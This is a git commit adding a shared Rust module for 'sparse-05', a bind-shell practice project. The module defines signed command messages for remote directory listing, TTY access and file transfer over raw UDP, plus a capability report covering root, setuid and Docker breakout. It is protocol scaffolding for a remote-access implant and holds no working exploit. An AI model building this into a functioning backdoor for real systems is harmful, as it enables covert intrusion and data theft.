feat: adding a bind shell example with more stuff

adding a bind shell that can allow for more practice with future
features such as multiple transports, encryption, transferring files,
and a more robust client interface

sparse-05/sparse-05-common/src/lib.rs

@@ -0,0 +1,93 @@
+pub const CONFIG_SEPARATOR: &'static [u8] =
+    b"79101092eb6a40268337875896f1009da0af4fe4ae0d4c67834c54fe735f1763";
+
+pub mod messages {
+    pub const CONNECT_MESSAGE: &'static [u8] = b"CONNECT";
+
+    use std::{ffi::OsString, path::PathBuf};
+
+    use ed25519_dalek::Signature;
+    use serde::{Deserialize, Serialize};
+
+    #[derive(Serialize, Deserialize)]
+    pub struct CommandWrapper {
+        sig: Signature,
+        command: Vec<u8>,
+    }
+
+    #[derive(Serialize, Deserialize)]
+    pub enum Command {
+        SendData(Vec<u8>),
+
+        Cd(PathBuf),
+        Ls(PathBuf),
+
+        OpenTTY,
+        CloseTTY,
+
+        StartUploadFile(PathBuf, u64),
+        SendFileSegment(u64, u64, Vec<u8>),
+
+        StartDownloadFile(PathBuf, u64),
+        DownloadFileStatus(Result<(), Vec<u8>>),
+    }
+
+    #[derive(Serialize, Deserialize)]
+    pub enum FileType {
+        File,
+        Dir,
+        Symlink(PathBuf),
+        Fifo,
+        Socket,
+        Block,
+        Char,
+    }
+
+    #[derive(Serialize, Deserialize)]
+    pub struct UnixMetadata {
+        pub mode: u32,
+        pub uid: u32,
+        pub gid: u32,
+        pub ctime: i64,
+        pub mtime: i64,
+    }
+
+    #[derive(Serialize, Deserialize)]
+    pub struct DirEntry {
+        pub name: OsString,
+        pub size: u64,
+        pub unix: Option<UnixMetadata>,
+    }
+
+    #[derive(Serialize, Deserialize)]
+    pub enum Response {
+        Connected(Capabilities),
+        SendData(Vec<u8>),
+
+        CdDone,
+        LsResults(Vec<DirEntry>),
+
+        OpenedTTY,
+        ClosedTTY,
+
+        UploadFileID(u64),
+        UploadFileStatus(Result<(), Vec<u8>>),
+
+        DownloadFileSegment(u64, u64, Vec<u8>),
+    }
+
+    #[derive(Serialize, Deserialize, Debug)]
+    pub enum TransportType {
+        RawUdp,
+        Udp,
+    }
+
+    #[derive(Serialize, Deserialize, Debug)]
+    pub struct Capabilities {
+        pub docker_container: bool,
+        pub docker_breakout: bool,
+        pub setuid: bool,
+        pub root: bool,
+        pub transport: TransportType,
+    }
+}